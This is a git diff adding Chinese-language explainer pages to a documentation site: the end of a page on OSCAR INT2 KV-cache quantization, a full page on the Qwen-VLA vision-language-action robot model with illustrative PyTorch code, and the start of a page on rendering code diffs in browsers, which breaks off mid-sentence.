+**Key 侧(`qqt`)**——query 侧平均协方差,反映 K 在 attention 中与 Q 的匹配方向: + +```text +Σ_K = (1 / H_kv) · Σ_h (Q_h^T Q_h) / n_tokens +``` + +**Value 侧(`sst`)**——用 attention score 权重加权的 V 协方差: + +```text +w_h[t] = K_h[t] · (Q^T Q) · K_h[t]^T // 每 token 的 score 权重 +Σ_V = (1 / H_kv) · Σ_h V_h^T diag(w_h) V_h / n_tokens +``` + +对 `Σ_K`、`Σ_V` 做 **`torch.linalg.eigh`**,取正交特征向量作为谱旋转的基础 **`U`**。 + +### 2. 复合旋转 R = U · H_Had · P_br + +OSCAR 不只用特征向量,而是三因子连乘: + +```text +R = U · H_d · P_br +``` + +| 因子 | 作用 | +|------|------| +| **U** | 谱方向:对齐 attention 重要维度 | +| **H_d** | head-dim **Hadamard**:进一步摊平对角 outlier、均衡各维重要性 | +| **P_br** | **bit-reversal 置换**:按特征值大小排序后交错,避免高方差方向挤在同一 128 维 quant group | + +Value 旋转在 serving 中还可 **吸收进投影权重**(`ABSORB_V_ROTATION`),减少在线乘旋转的开销。 + +### 3. 混合精度 KV 布局 + +逻辑 cache 三段拼接: + +```text +[ BF16 sink (PREFIX) ] ‖ [ INT2 history ] ‖ [ BF16 recent (sliding window) ] +``` + +典型默认:**64** sink + **256** recent BF16,其余历史 **INT2**,group size **128**(沿 head 维分组,非对称仿射 INT2,4 个 2-bit 值打包进 1 byte)。 + +新 token 写入 recent;最老的 recent demote 到 INT2 history。Attention decode 时对 BF16 段与 INT2 段分别跑 kernel,再 **online softmax merge**,等价于全精度一次 attention 的结构。 + +### 4. Frozen-error 理论 + +论文给出:在 frozen-error surrogate 下,上述 attention-aware 旋转在特定意义下 **最优**——量化误差应限制在 attention **真正敏感**的方向上,而非 Frobenius 意义的 KV 重建。 + +### 5. 与基线的关键差异 + +| 方法 | 旋转目标 | BPE | Qwen3-8B 五任务均值 | +|------|----------|-----|---------------------| +| BF16 | — | 16.00 | 70.84 | +| QuaRot-INT2 | Hadamard,无 attention 统计 | 2.25 | 10.14 | +| Naive INT2 | 无旋转 | 2.25 | ~0 | +| Saw-INT4 | INT4 参考 | 4.25 | 69.97 | +| **OSCAR** | `Q^T Q` / `V^T S^T S V` | 2.28 | **69.42**(−1.42 vs BF16) | + +消融:把 U 换成 `K^T K` / `V^T V`(tensor-reconstruction target)时,Qwen3-8B 均值从 **70.01** 跌到 **31.12**——说明 **旋转优化目标** 比「多搅几下 Hadamard」更关键。 + +--- + +## 代码示例 1:离线估计旋转(简化版) + +下面是与官方 `compute_kv_rotation.py` 思路一致的 **教学用** NumPy/PyTorch 伪实现,展示 `qqt` 与 `sst` 如何产生正交旋转: + +```python +import torch + +def fit_key_rotation(Q: torch.Tensor, K: torch.Tensor) -> torch.Tensor: + """ + Q, K: [n_tokens, head_dim] 单层单 KV head 的校准激活 + 返回正交旋转矩阵 R_k [head_dim, head_dim] + """ + # Attention-aware key target: average query covariance + sigma_k = (Q.T @ Q) / Q.shape[0] # [d, d] + evals, U = torch.linalg.eigh(sigma_k) # 升序特征值 + U = U.flip(1) # 按特征值从大到小排列列 + + d = Q.shape[1] + H = torch.tensor([[1, 1], [1, -1]], dtype=Q.dtype) / (2 ** 0.5) + while H.shape[0] < d: + H = torch.kron(H, torch.tensor([[1, 1], [1, -1]], dtype=Q.dtype) / (2 ** 0.5)) + H = H[:d, :d] + + # bit-reversal permutation(示意:按 evals 交错 important 方向到 quant groups) + order = torch.argsort(evals.flip(0), descending=True) + P_br = torch.eye(d)[order] + + R_k = U @ H @ P_br + # 数值上应再正交化: R_k, _ = torch.linalg.qr(R_k) + return R_k + + +def fit_value_rotation(Q: torch.Tensor, K: torch.Tensor, V: torch.Tensor) -> torch.Tensor: + """Score-weighted value covariance.""" + qqt = (Q.T @ Q) / Q.shape[0] + # w[t] = k_t^T (Q^T Q) k_t — 标量权重 per token + w = torch.einsum("td,de,te->t", K, qqt, K) + w = w.clamp_min(1e-6) + # Σ_V = V^T diag(w) V / n + sigma_v = (V.T * w) @ V / V.shape[0] + evals, U = torch.linalg.eigh(sigma_v) + U = U.flip(1) + # ... 同样 compose H, P_br + return U # 完整版见 R = U @ H @ P_br +``` + +真实流水线还会:多层多头循环、GQA 分组、保存 `k_rotation_qqt_r_h_pbr.pt` 与 `v_rotation_sst_r_h_pbr.pt`、以及 grid search **clip ratio**(论文默认 K≈0.96、V≈0.92)。 + +--- + +## 代码示例 2:在线 rotate → clip → INT2 量化 + +OSCAR 使用 **token-wise 非对称 INT2**(4 级),在旋转后的空间做 clip 再量化。教学示意: + +```python +import torch + +LEVELS = torch.tensor([-1.5, -0.5, 0.5, 1.5]) # 2-bit 重建级别示意 + +def oscar_quantize_kv( + x: torch.Tensor, # [n_tokens, head_dim] 原始 K 或 V + R: torch.Tensor, # [head_dim, head_dim] 离线固定旋转 + clip_ratio: float = 0.96, + group_size: int = 128, +) -> tuple[torch.Tensor, torch.Tensor, torch.Tensor]: + """ + 返回: codes [n_tokens, head_dim//4 packed], scales, zero_points + """ + x_rot = x @ R # 右乘旋转(实现细节以 kernel 为准) + n, d = x_rot.shape + x_rot = x_rot.view(n, d // group_size, group_size) + + # per-group min-max → clip → 映射到 4 档 + xmin = x_rot.min(dim=-1, keepdim=True).values + xmax = x_rot.max(dim=-1, keepdim=True).values + span = (xmax - xmin).clamp_min(1e-5) + center = (xmax + xmin) / 2 + half = span / 2 * clip_ratio + x_clip = x_rot.clamp(center - half, center + half) + + scale = (half * 2) / (LEVELS.max() - LEVELS.min()) + zp = center + q = torch.bucketize(x_clip, LEVELS.to(x.device)) # 0..3 + return q.to(torch.uint8), scale.squeeze(-1), zp.squeeze(-1) + + +def mixed_kv_layout(token_idx: int, seq_len: int, prefix: int = 64, recent: int = 256) -> str: + """判断某 token 在 cache 中应处于哪一段。""" + if token_idx < prefix: + return "bf16_sink" + if token_idx >= seq_len - recent: + return "bf16_recent" + return "int2_history" +``` + +生产路径中,上述步骤融合在 **Triton rotate–clip–quantize–pack** kernel 里,并与 **SGLang paged attention**、prefix cache 共用同一套物理布局。 + +--- + +## 系统与 Serving 集成 + +官方仓库 [FutureMLS-Lab/OSCAR](https://github.com/FutureMLS-Lab/OSCAR) 提供三阶段脚本: + +1. **`save_qkv_*.sh`** — 在校准集(默认 GPQA)上 dump Q/K/V,约 30K tokens。 +2. **`compute_rotation.sh`** — 特征分解 + 保存 `.pt` 旋转。 +3. **`eval_oscar_*.sh`** — 启动 SGLang,`--kv-cache-dtype int2`,加载旋转路径。 + +典型环境变量: + +```bash +SGLANG_ENABLE_MIXED_KV_WINDOWS=1 +SGLANG_OSCAR_K_ROTATION_PATH=.../k_rotation_qqt_r_h_pbr.pt +SGLANG_OSCAR_V_ROTATION_PATH=.../v_rotation_sst_r_h_pbr.pt +SGLANG_OSCAR_K_CLIP_RATIO=0.96 +SGLANG_OSCAR_V_CLIP_RATIO=0.92 +SGLANG_MIXED_KV_PREFIX_TOKENS=64 +SGLANG_MIXED_KV_RECENT_TOKENS=256 +SGLANG_MIXED_KV_HP_DTYPE=bfloat16 +# prefill: FlashAttention-3; decode: Triton INT2 +``` + +Prefill 阶段 sink/recent/history 策略与 decode demotion 需与 **radix prefix cache** 一致;论文报告 prefix hit 越高,端到端吞吐增益越明显。 + +--- + +## 实验结果摘要 + +**设置**:5 个推理/代码 benchmark(GPQA、HumanEval、LiveCodeBench v6、AIME 2025、MATH-500),**32K max generation**,多 seed 平均。 + +| 模型 | OSCAR vs BF16 均值差距 | 备注 | +|------|------------------------|------| +| Qwen3-4B-Thinking | −3.78 pp | 小模型差距略大 | +| Qwen3-8B | −1.42 pp | | +| Qwen3-32B | −0.02 pp | 近乎持平 | +| GLM-4.7-FP8 (358B) | +0.27 pp | 略超 BF16(方差内) | + +**长上下文**:RULER-NIAH 至 **128K**,OSCAR 在 Qwen3 上仍稳健,QuaRot-INT2 崩溃。 + +**AIME25 @ 32K**(与其他 INT2 方法对比):OSCAR 在 Qwen3-8B 上 **66.67%**,接近 BF16 **66.00%**;KIVI-KV2 约 52–58%,Kitty 约 60–69%。 + +**系统**:同内存预算下大批次吞吐最高 **~7×**;batch=1 decode 因带宽降低最高 **~3×** vs BF16。 + +--- + +## 方法流程图(概念) + +```text +Calibration (offline) Serving (online) +───────────────────── ───────────────── +[Q,K,V dumps] New tokens → BF16 recent + │ │ + ▼ ▼ +Σ_K = Q^T Q / n Older recent → rotate·clip·INT2 +Σ_V = V^T diag(w) V / n │ + │ ▼ +eigh → U Paged KV: [sink|INT2 hist|recent] + │ │ +R = U · H · P_br (per layer/head) ▼ + │ FA3 prefill + Triton INT2 decode +clip thresholds τ_K, τ_V │ + │ Merge attention segments + └────────── .pt 固定加载 ──────────────┘ +``` + +--- + +## 优势与局限 + +**优势** + +- **目标函数对齐 attention**:INT2 极端预算下仍可用,推理链任务不像 QuaRot 那样崩。 +- **可部署**:非仅算法论文——SGLang INT2 paged KV、rotation zoo 下载、与 prefix cache 共存。 +- **性价比**:~2.28 BPE 接近 INT2 理论下限,却常逼近 INT4 / BF16 精度。 + +**局限** + +- **离线校准成本**:新模型/新分布需 dump + 算旋转;域偏移大时要重校准。 +- **固定旋转**:不随在线输入自适应;与 TurboQuant 等 online VQ 路线不同。 +- **硬件/框架绑定**:最佳路径依赖 CUDA 12.8+、Triton decode kernel;vLLM 集成在论文中强调 SGLang 为主。 +- **混合窗口超参**:sink/recent 长度与 clip ratio 影响 BPE–精度权衡,需 per-model 调。 + +--- + +## 与相关工作的关系 + +| 方向 | 代表 | OSCAR 差异 | +|------|------|------------| +| KV 压缩/驱逐 | H2O、SnapKV | OSCAR **不丢 token**,全历史可检索 | +| 旋转量化 | QuaRot | QuaRot **data-free Hadamard**;OSCAR **attention-aware 谱旋转** | +| 低比特 KV | KIVI、Kitty | OSCAR 强调 **2-bit + serving kernel** 一体,AIME 32K 更强 | +| Online VQ | TurboQuant | TurboQuant ~3.25 BPE、通用 VQ;OSCAR **2.28 BPE** 固定 layout | + +可与 **KV-Fold**(递推式全精度 KV 拼接)对照:KV-Fold 用时间换显存、不量化;OSCAR 用 **极低比特** 换显存、需校准。长上下文 serving 里二者解决的是同一瓶颈的不同切面。 + +--- + +## 零基础自检清单 + +读完后,你应能回答: + +1. **为什么 INT2 直接 min-max 量化 KV 会崩?** — outlier 主导 scale,且与 attention 误差无对齐。 +2. **OSCAR 的 K/V 旋转目标分别是什么?** — `Q^T Q` 与 score-weighted `V^T diag(w) V`。 +3. **`R = U · H · P_br` 各因子干什么?** — 谱方向、Hadamard 摊平、bit-reversal 均衡 quant group。 +4. **为何保留 BF16 sink + recent?** — 保护 attention sink 与局部强依赖,中间历史才 INT2。 +5. **2.28 BPE 是什么意思?** — 含混合窗口后的 **有效每 KV 元素比特数**,非纯 INT2 理论 2.0。 + +--- + +## 延伸阅读 + +- 论文:[arXiv:2605.17757](https://arxiv.org/abs/2605.17757) +- 项目页:[oscar-quantize.github.io](https://oscar-quantize.github.io/) +- 代码:[github.com/FutureMLS-Lab/OSCAR](https://github.com/FutureMLS-Lab/OSCAR) +- 基线 QuaRot:data-free Hadamard rotation for KV quant +- Serving 框架:[SGLang](https://github.com/sgl-project/sglang) mixed KV / INT2 模式 + +--- + +## 一句话总结 + +**OSCAR 把「怎么旋转 KV 再压到 2 bit」从张量重建问题,改写成「离线估计 attention 会消费的协方差结构,再据此固定旋转 + clip + 混合 BF16 窗口」的 serving 问题——让 INT2 KV cache 在长推理链上既省显存又跟得上 BF16 精度。** diff --git a/src/content/docs/papers/qwen-vla.md b/src/content/docs/papers/qwen-vla.md new file mode 100644 index 000000000..3970373ea --- /dev/null +++ b/src/content/docs/papers/qwen-vla.md @@ -0,0 +1,435 @@ +--- +title: Qwen-VLA — 跨任务、环境与具身的统一视觉-语言-动作建模 +来源: 'Qwen Team, "Qwen-VLA: Unifying Vision-Language-Action Modeling across Tasks, Environments, and Robot Embodiments", arXiv:2605.30280, 2026; https://arxiv.org/abs/2605.30280; https://github.com/QwenLM/Qwen-VLA' +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:一个「会看、会听、会动手」的通才教练 + +想象你请了一位私人教练,目标是教会不同学员完成各种身体任务: + +- 学员 A 是**双臂桌面机器人**,要学「把红杯子放到盘子里」; +- 学员 B 是**移动底盘**,要学「沿走廊走到厨房再左转」; +- 学员 C 是**第一人称视角的人类演示者**,录像里只有手和物体,没有关节角读数。 + +传统做法像**每个学员配一个专属教练**:抓取的教练只懂 7 自由度机械臂,导航教练只懂离散转向,换机器人就要换模型、换输出头、换数据格式。结果是:在 LIBERO 上很强,到了真实 ALOHA 双臂平台或 R2R 导航就「不会了」。 + +**Qwen-VLA** 想走另一条路:**一位通才教练,同一套大脑(权重),靠「今天你是谁、任务是什么、控制约定怎样」的文字说明来切换模式**。教练先「看懂场景 + 听懂指令」,再输出**连续动作轨迹**——不是离散 token「向左」,而是「未来 0.5 秒内关节角/末端位姿/导航航点怎么变」。 + +论文核心主张:**操作(manipulation)、视觉-语言导航(VLN)、轨迹预测、人类 egocentric 演示,都可以放进同一个「动作-轨迹预测空间」里学**;再通过 **embodiment-aware prompt conditioning**(具身感知提示)告诉模型当前是 WidowX、ALOHA 还是导航 agent,而**不需要为每个平台单独做 output head**。 + +官方实现:Qwen3.5-4B 视觉-语言骨干 + 约 1.15B 参数的 **DiT flow-matching action decoder**。 + +--- + +## 是什么 + +**Qwen-VLA** 是阿里 Qwen 团队 2026 年发布的**统一具身基础模型(unified embodied foundation model)**,把 Qwen 多模态栈从「感知、理解、推理」延伸到「连续动作与轨迹生成」。 + +输入典型包括: + +| 模态 | 例子 | +|------|------| +| 视觉 | 第三人称相机、腕部相机、导航 RGB | +| 语言 | 「把绿色球放进碗里」「沿走廊走到沙发旁」 | +| 具身条件 | 文本描述:机器人型号、控制频率、动作维度、坐标系约定 | + +输出:**下一时刻或未来窗口内的连续 action / trajectory**(经 flow matching 解码)。 + +两个主要 checkpoint: + +- **Qwen-VLA-Base**:大规模联合预训练后的基座; +- **Qwen-VLA-Instruct**:在 Base 上经 SFT + 仿真 RL(PPO)后的指令跟随/闭环策略版。 + +--- + +## 为什么重要 + +### 1. 从「技能专家」到「通才演员」 + +具身智能长期按任务切模型:一个 LIBERO 专用策略、一个 R2R 导航模型、一个 ALOHA 微调版。Qwen-VLA-Instruct **只训练一次、多平台联合评估**,在多项 benchmark 上**匹配或超过**各自单独微调的专家模型。 + +### 2. 统一表示降低碎片化 + + manipulation 的 joint delta、navigation 的 waypoint、egocentric 的手部轨迹,被映射到**共享的动作-轨迹空间**。好处是:视觉 grounding、空间推理、语言对齐可以在任务间迁移。 + +### 3. 强 OOD 与零样本动态操作 + +论文报告:真实 ALOHA 上 OOD 平均成功率 **76.9%**(颜色/实例/位置/背景/指令变化);DOMINO 动态抓取 benchmark 上**零样本**成功率 **26.6%**,说明模型学到的不只是固定桌面模板。 + +--- + +## 核心概念 + +### 1. Vision-Language-Action(VLA) + +**VLA** = 多模态大模型 + **动作头**。与纯 VLM 的区别:VLM 输出文本;VLA 输出**可执行的控制信号**(连续向量序列)。 + +Qwen-VLA 的数据流(概念上): + +``` +[图像/视频帧] + [语言指令] + [具身描述 prompt] + ↓ + Qwen3.5-4B VLM(理解场景与目标) + ↓ + DiT Action Decoder(flow matching 生成轨迹) + ↓ + 连续 action chunk → 机器人控制器 / 导航栈 +``` + +### 2. 统一动作-轨迹框架(Unified Action-and-Trajectory Framework) + +不同任务的历史标签格式各异(7-DoF delta、SE(2) waypoint、人手 6D pose…)。Qwen-VLA 在训练前把它们**规范化到统一维度/时间窗**(具体 padding、mask、时间对齐见论文与代码),使**一个 decoder** 预测所有类型。 + +直觉:就像把所有运动都录成「同一套骨骼动画格式」,再让同一个生成模型去学。 + +### 3. Embodiment-Aware Prompt Conditioning + +切换机器人**不改权重**,只在 prompt 前拼接描述,例如: + +- 控制类型:joint position / end-effector delta / holonomic base; +- 动作维度、控制频率、相机视角说明; +- 平台名称:WidowX、ALOHA bimanual、导航 agent 等。 + +这让**一套参数服务多 embodiment**,避免「每平台一个 head」的工程负担。 + +### 4. DiT + Flow Matching 动作解码器 + +**DiT**(Diffusion Transformer)在这里作 **flow-matching policy head**:从噪声逐步「流」向目标动作轨迹,比直接回归高维向量更稳定,也便于建模多模态动作分布(同一指令多种可行抓取姿态)。 + +与离散 autoregressive action token 相比,flow matching 更适合**高维连续控制**。 + +### 5. 四阶段渐进训练(Progressive Training Recipe) + +官方博客与论文强调「先语言→动作结构,再视觉落地,再任务微调,再闭环 RL」: + +| 阶段 | 名称 | 要点 | +|------|------|------| +| I | **T2A**(Text-to-Action) | **冻结 VLM**,只训 action decoder;纯文本+具身 prompt → 动作轨迹,建立「语言解压到控制」的 prior | +| II | **CPT**(Continual Pretraining) | **解冻 VLM + decoder**,混合机器人轨迹、egocentric 人类数据、仿真合成、VLN、通用 VLM 数据 → **Qwen-VLA-Base** | +| III | **SFT** | 多任务监督微调(操作+导航+VQA+空间 grounding);另有一条真实机器人遥操作分支 | +| IV | **RL** | 从 SFT checkpoint 在 **SimplerEnv** 上用 **PPO** 优化任务成功;产出 **Qwen-VLA-Instruct**;论文称 RL 增益可迁移到未见环境与 embodiment | + +### 6. 预训练数据版图(五类来源) + +1. **机器人操作轨迹**:公开 >1 万小时 + 内部 >1000 小时真机 + >800 万条仿真轨迹; +2. **人类 egocentric**:Ego4D、EPIC-KITCHENS、EgoDex、EgoVerse、Xperience 等; +3. **合成仿真**:vision-conditioned 与 text-to-action 大规模模板轨迹; +4. **视觉-语言导航**:R2R/RxR 等长 horizon 指令跟随; +5. **通用 VLM 数据 + 细粒度动作描述**:约 4.8 万条、13 维标注,对齐自然语言与执行细节。 + +--- + +## 架构一图流 + +```text + ┌─────────────────────────────────────┐ + │ Embodiment prompt(文本前缀) │ + │ e.g. "ALOHA dual-arm, 14-dim..." │ + └─────────────────┬───────────────────┘ + │ + Camera RGB ──► Qwen3.5-4B VLM ◄── Language instruction + │ │ + │ │ hidden states / cross-attn cond + ▼ ▼ + DiT Flow-Matching Decoder + │ + ▼ + Action trajectory chunk + (continuous, horizon H) + │ + ▼ + Low-level controller / VLN executor +``` + +--- + +## 关键实验数字(便于建立直觉) + +**Qwen-VLA-Instruct(统一通才,非 per-benchmark 单独微调)**: + +| 领域 | Benchmark | 指标 | 结果 | +|------|-----------|------|------| +| 桌面操作 | LIBERO | 成功率 | **97.9%** | +| 仿真操作 | Simpler-WidowX | 成功率 | **73.7%** | +| 双任务难度 | RoboTwin-Easy / Hard | 成功率 | **86.1% / 87.2%** | +| 室内导航 | R2R Val-Unseen | OSR / SR | **69.0% / 57.5%** | +| 多语言导航 | RxR Val-Unseen | SR | **59.6%** | +| 真机 ALOHA | 多任务 OOD 平均 | 成功率 | **76.9%** | +| 动态抓取 | DOMINO(零样本) | SR | **26.6%** | + +对比语境:许多 baseline 是**每个 benchmark 单独微调的专家**;Qwen-VLA 是**一次联合训练的多任务通才**。 + +--- + +## 代码示例 1:Embodiment-Aware Prompt 与统一推理接口 + +下面用**伪代码**说明「换机器人只改 prompt、不改模型」的用法(与 OpenVLA / RT-2 类接口类似,便于零基础理解;非官方 verbatim API): + +```python +from dataclasses import dataclass +from typing import Any + +import numpy as np +import torch + + +@dataclass(frozen=True) +class EmbodimentSpec: + """描述当前机器人与控制约定 —— 会写进文本 prompt。""" + name: str + action_dim: int + control_hz: float + action_space: str # "joint_delta" | "ee_delta" | "waypoint_se2" + cameras: tuple[str, ...] + + +EMBODIMENTS = { + "widowx": EmbodimentSpec( + name="WidowX 250 7-DoF manipulator", + action_dim=7, + control_hz=5.0, + action_space="ee_delta", + cameras=("third_person", "wrist"), + ), + "aloha": EmbodimentSpec( + name="ALOHA bimanual dual-arm", + action_dim=14, + control_hz=50.0, + action_space="joint_delta", + cameras=("cam_high", "cam_left_wrist", "cam_right_wrist"), + ), + "vln_agent": EmbodimentSpec( + name="Habitat VLN-CE mobile agent", + action_dim=3, # e.g. (forward, turn, stop) or continuous waypoint + control_hz=2.0, + action_space="waypoint_se2", + cameras=("rgb_front",), + ), +} + + +def build_embodiment_prompt(spec: EmbodimentSpec) -> str: + """论文中的 embodiment-aware conditioning:纯文本前缀。""" + cams = ", ".join(spec.cameras) + return ( + f"[Embodiment] Platform: {spec.name}. " + f"Action space: {spec.action_space}. " + f"Action dimension: {spec.action_dim}. " + f"Control frequency: {spec.control_hz} Hz. " + f"Camera views: {cams}. " + f"Predict the next action chunk in the unified trajectory format." + ) + + +class QwenVLAClient: + """概念性客户端:同一 checkpoint,不同 embodiment 字符串。""" + + def __init__(self, checkpoint: str, device: str = "cuda"): + self.device = device + # 真实使用时从 HuggingFace / ModelScope 加载 + self.model = self._load(checkpoint) + + def _load(self, checkpoint: str) -> Any: + raise NotImplementedError("load Qwen-VLA weights here") + + @torch.inference_mode() + def predict_action_chunk( + self, + images: dict[str, np.ndarray], + instruction: str, + embodiment_key: str, + horizon: int = 16, + ) -> np.ndarray: + spec = EMBODIMENTS[embodiment_key] + prompt = build_embodiment_prompt(spec) + f"\n[Task] {instruction}" + + # VLM 编码视觉+语言;DiT decoder 做 flow-matching 采样 + cond = self.model.encode(images=images, text=prompt) + traj = self.model.sample_actions( + cond, + action_dim=spec.action_dim, + horizon=horizon, + num_flow_steps=10, + ) + return traj.cpu().numpy() # shape: (horizon, action_dim) + + +# --- 同一模型,两种任务 --- +client = QwenVLAClient("Qwen/Qwen-VLA-Instruct") + +pick_traj = client.predict_action_chunk( + images={"third_person": img_desk, "wrist": img_wrist}, + instruction="Pick up the green ball and place it in the bowl.", + embodiment_key="widowx", +) + +nav_traj = client.predict_action_chunk( + images={"rgb_front": img_hallway}, + instruction="Walk down the corridor and stop near the couch.", + embodiment_key="vln_agent", + horizon=8, +) +``` + +**读代码要点**: + +- `EmbodimentSpec` → 文本前缀,告诉模型「动作向量有几维、什么语义」; +- `predict_action_chunk` 返回的是**一段轨迹**,通常只执行前几步再 replan(receding horizon); +- `widowx` 与 `vln_agent` 共用 `self.model` 权重,差异仅在 prompt 与 `action_dim`。 + +--- + +## 代码示例 2:Flow-Matching 动作解码(训练与采样直觉) + +Flow matching 学习向量场 \(v_\theta(x_t, t \mid \text{cond})\),把噪声 \(x_0 \sim \mathcal{N}(0, I)\) 「推」向真实动作 \(x_1\)。下面是**教学用简化版**,帮助理解 DiT decoder 在干什么(非官方实现): + +```python +import torch +import torch.nn as nn + + +class ActionFlowMatchingHead(nn.Module): + """极简 flow-matching 头:cond 来自 VLM hidden states。""" + + def __init__(self, action_dim: int, horizon: int, cond_dim: int, hidden: int = 512): + super().__init__() + self.action_dim = action_dim + self.horizon = horizon + flat = action_dim * horizon + self.net = nn.Sequential( + nn.Linear(flat + cond_dim + 1, hidden), # +1 for time t + nn.SiLU(), + nn.Linear(hidden, hidden), + nn.SiLU(), + nn.Linear(hidden, flat), + ) + + def forward(self, x_t: torch.Tensor, t: torch.Tensor, cond: torch.Tensor) -> torch.Tensor: + """ + x_t: (B, H, A) 当前噪声轨迹 + t: (B, 1) 时间 in [0, 1] + cond:(B, C) VLM 条件向量 + 返回预测速度场 v,shape 与 x_t 相同 + """ + b = x_t.shape[0] + x_flat = x_t.reshape(b, -1) + inp = torch.cat([x_flat, cond, t], dim=-1) + v_flat = self.net(inp) + return v_flat.reshape_as(x_t) + + +def flow_matching_loss( + head: ActionFlowMatchingHead, + action_target: torch.Tensor, + cond: torch.Tensor, +) -> torch.Tensor: + """单步 CFM 损失:随机 t,线性插值路径,回归 v = x1 - x0。""" + b = action_target.shape[0] + x1 = action_target # ground-truth action chunk + x0 = torch.randn_like(x1) + t = torch.rand(b, 1, device=x1.device) + # 广播 t 到 (B, H, A) + t_expand = t.view(b, 1, 1) + x_t = (1 - t_expand) * x0 + t_expand * x1 + v_target = x1 - x0 + v_pred = head(x_t, t, cond) + return nn.functional.mse_loss(v_pred, v_target) + + +@torch.no_grad() +def sample_action_chunk( + head: ActionFlowMatchingHead, + cond: torch.Tensor, + action_dim: int, + horizon: int, + steps: int = 10, +) -> torch.Tensor: + """Euler 积分:从噪声积分到 t=1。""" + b = cond.shape[0] + x = torch.randn(b, horizon, action_dim, device=cond.device) + dt = 1.0 / steps + for i in range(steps): + t = torch.full((b, 1), i / steps, device=cond.device) + v = head(x, t, cond) + x = x + dt * v + return x + + +# --- 训练一步(Stage II CPT / Stage III SFT 中的 decoder 部分)--- +head = ActionFlowMatchingHead(action_dim=7, horizon=16, cond_dim=2048) +batch_actions = torch.randn(8, 16, 7) # 来自统一格式后的 demonstration +batch_cond = torch.randn(8, 2048) # 来自 Qwen VLM + +loss = flow_matching_loss(head, batch_actions, batch_cond) +loss.backward() + +# --- 推理 --- +pred = sample_action_chunk(head, batch_cond[:1], action_dim=7, horizon=16) +``` + +**与 Qwen-VLA 的对应关系**: + +- 真实系统用 **DiT** 替代上面的小 MLP,规模约 **1.15B**; +- **Stage I T2A** 可在**无图像**时用 `cond` 仅来自文本 embedding 预训 decoder; +- **Stage II** 起 `cond` 来自完整 VLM 多模态融合; +- **Stage IV RL** 在仿真里用 PPO 优化「执行 pred 轨迹后的任务成功」,而不是只最小化 MSE。 + +--- + +## 与其他 VLA / 机器人基础模型的对比(概念层) + +| 维度 | 典型专家策略(π₀、GR00T 单任务版等) | Qwen-VLA | +|------|--------------------------------------|----------| +| 任务范围 | 常以 manipulation 为主 | manipulation + VLN + 轨迹预测 + egocentric | +| 多平台 | 常需 per-robot 微调或专用 head | 文本 embodiment prompt,共享权重 | +| 骨干 | 各自 VLM / 专用架构 | Qwen3.5-4B 统一多模态栈 | +| 动作生成 | diffusion / flow / MLP 各异 | DiT flow-matching decoder | +| 训练范式 | 多为 SFT 或单域 RL | T2A → CPT → SFT → RL 四阶段 | + +Qwen-VLA 不是要证明「一个模型在所有单项上都是 SOTA」,而是证明:**统一建模在多项上可以同时接近专家,并在 OOD 与跨 embodiment 上更省工程、更可扩展**。 + +--- + +## 局限与开放问题(论文语境下的诚实边界) + +1. **长 horizon 与失败恢复**:四阶段训练仍主要在仿真 RL;真实世界长任务、抓取失败后的重规划仍是开放问题。 +2. **动态与接触丰富场景**:DOMINO 零样本 26.6% 有亮点,但距离可靠工业部署仍有差距。 +3. **安全与 sim-to-real**:统一 prompt 切换 embodiment 时,若 prompt 写错控制约定,可能产生危险动作——工程上需要外层安全壳与标定。 +4. **算力与延迟**:4B VLM + 1.15B DiT 对边缘机载计算机是负担;实际部署需 distillation 或 action chunk 异步执行。 +5. **数据许可与复现**:部分内部真机数据未公开,复现绝对数字需关注官方后续权重与 eval 脚本发布情况。 + +--- + +## 零基础速记卡 + +| 术语 | 一句话 | +|------|--------| +| VLA | 看+听→直接输出机器人动作,而不只是文字 | +| Unified action-trajectory space | 不同任务的动作都变成同一种张量格式来学 | +| Embodiment prompt | 用文本告诉模型「你是哪种机器人、动作几维」 | +| DiT + flow matching | 用扩散式生成器产出平滑、多模态可行的连续轨迹 | +| T2A | 先不用图像,学会「语言→动作结构」 | +| Qwen-VLA-Instruct | Base + SFT + 仿真 RL 后的「能闭环做任务」版本 | + +--- + +## 进一步阅读 + +- 论文:[arXiv:2605.30280](https://arxiv.org/abs/2605.30280) +- 代码与 benchmark 表:[GitHub QwenLM/Qwen-VLA](https://github.com/QwenLM/Qwen-VLA) +- 官方博客:[Qwen-VLA: From Understanding the World to Acting in It](https://qwen.ai/blog?id=qwenvla) +- 前置了解:Qwen3.5 多模态骨干、LIBERO / SimplerEnv / VLN-CE (R2R, RxR) benchmark 定义 + +--- + +## 小结 + +Qwen-VLA 回答的是一个很大但很自然的问题:**能不能像通才一样,用同一套视觉-语言-动作模型,同时做抓取、导航、跨机器人控制?** + +论文给出的答案是:**可以**——通过统一动作-轨迹空间、具身感知文本条件、大规模异构数据联合预训练,以及从 T2A 到 RL 的渐进 recipe,把 Qwen 的「理解世界」延伸到「在世界中行动」。对初学者,最值得带走的是两个设计:**不要把 embodiment 写死在网络结构里(写进 prompt)**,以及**不要把操作和导航拆成两个永远不相见的小模型(拆成同一 decoder 的不同轨迹格式)**。 + +如果你已有 Qwen-VL 使用经验,迁移到 Qwen-VLA 的心智模型很简单:**多模态 chat 的最后一步,从生成 UTF-8 文本换成生成 float32 动作向量序列**——其余的数据混合、prompt 工程与 sim-to-real 护栏,才是具身智能真正难的地方。 diff --git a/src/content/docs/papers/rendering-diffs.md b/src/content/docs/papers/rendering-diffs.md new file mode 100644 index 000000000..08289dc9e --- /dev/null +++ b/src/content/docs/papers/rendering-diffs.md @@ -0,0 +1,278 @@ +--- +title: On Rendering Diffs — 浏览器里渲染代码 diff 为何比看起来难得多 +来源: 'Amadeus Pierre, "On Rendering Diffs", Pierre Computer Company, 2026-05-29 — https://pierre.computer/writing/on-rendering-diffs' +日期: 2026-06-13 +分类: CLI +子分类: 编辑器与 IDE +provenance: pipeline-v3 +--- + +## 从日常类比开始:红笔批改 vs 整本教材 + +想象你在批改学生作文。三五处修改,用红笔圈一圈、写几句评语,几分钟就能看完——这就是**小 PR**:diff 就是「改了什么」,浏览器把几屏文字画出来就行。 + +但如果老师拿到的是**整本教材的修订版**:上千页、每页都有脚注、目录、批注、双栏对照、语法高亮(名词标蓝、动词标绿)……你不可能把整本书一次性摊开在桌上。合理做法是:**只展开当前正在看的那几页**,翻页时再换页;批注和高亮可以稍后再补。 + +代码 review 里的 diff 渲染,本质上就是这套「**只渲染看得见的页** + **别在翻页时露出空白** + **别因为高亮把 CPU 拖死**」。Pierre Computer Company 在文章 *On Rendering Diffs* 里记录了他们从 `@pierre/diffs` 的 `File` / `FileDiff`,到 